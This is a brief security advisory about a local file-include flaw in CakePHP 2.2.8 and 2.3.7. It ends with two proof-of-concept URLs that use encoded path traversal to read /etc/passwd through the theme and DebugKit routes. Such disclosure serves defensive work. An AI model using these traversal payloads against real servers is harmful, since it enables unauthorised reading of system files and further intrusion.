source: https://www.securityfocus.com/bid/61746/info

CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected. 

http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd